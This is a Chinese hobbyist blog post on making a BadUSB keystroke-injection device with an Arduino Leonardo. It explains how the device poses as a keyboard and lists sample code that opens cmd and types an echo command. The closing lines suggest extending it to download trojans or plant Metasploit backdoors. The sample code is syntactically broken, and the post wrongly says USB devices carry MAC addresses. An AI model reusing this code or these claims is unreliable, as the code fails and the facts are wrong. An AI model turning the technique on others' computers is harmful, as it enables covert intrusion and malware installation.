1、U盘构造

     U盘由芯片控制器和闪存两部分组成。

     芯片控制器负责与PC的通讯和识别，闪存用来做数据存储；

     闪存中有一部分区域用来存放U盘的固件，它的作用类似于操作系统，控制软硬件交互；固件无法通过普通手段进行读取。

     BadUSB就是通过对U盘的固件进行逆向重新编程，相当于改写了U盘的操作系统而进行攻击的。

2、协议漏洞

      根据USB标准，设备占有唯一可识别的MAC地址系统验证，因此具有多个输入输出设备的特征。通过重写U盘固件，伪装成一个USB键盘。虚拟键盘进行指令代码输入。

     这里通过Arduino内置函数实现模拟键盘输入和鼠标输入。

3、制作

连接Leonardo板卡到PC串口，这里编程需要用到Auduino自带的Keyboard库：

• Keyboard.begin()
• Keyboard.end()
• Keyboard.press()
• Keyboard.print()
• Keyboard.println()
• Keyboard.release()
• Keyboard.releaseAll()
• Keyboard.write()贴一段网上的测试代码：

  #include<Keyboard.h> //包含键盘模块头文件

  void setup(); //初始化

  Keyboard.begin();//开始键盘通信

  delay(1000);//延时1000毫秒，不要太短，因为每天电脑的运行速度都不一样 

  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题

  Keyboard.release(KEY_CAPS_LOCK); //释放大写键

  delay(500);

  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 

  delay(500); 

  Keyboard.press(‘r‘);//按下r键 

  delay(500); 

  Keyboard.release(KEY_LEFT_GUI);//松掉win键 

  Keyboard.release(‘r‘);//松掉r键 

  delay(500); 

  Keyboard.println("cmd");//输入cmd进入DOS

  delay(500); 

  Keyboard.press(KEY_RETURN);  //按下回车键

  Keyboard.release(KEY_RETURN); //释放回车键

  delay(500); 

  Keyboard.println("echo first test");

  Keyboard.press(KEY_RETURN);  //按下回车键

  Keyboard.release(KEY_RETURN); //释放回车键

  delay(500);

  Keyboard.press(KEY_CAPS_LOCK); //按下大写键

  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键

  delay(500);

  Keyboard.end();//结束键盘通讯 

  } 

  void loop()//循环，这里的代码

  { 

  //循环体 写入你要循环的代码

  }

• 实现功能是：插入板卡之后，首先开启大写键 然后打开了运行窗口 然后输入了CMD 回车，命令行会输入 echo first test 并且回车。 
• 

  进阶玩法：通过自行编程实现插USB之后远程下载木马，或结合Metasploit 进行后门、木马的植入，或者一些批处理文件。

【原创】Arduino制作Badusb实践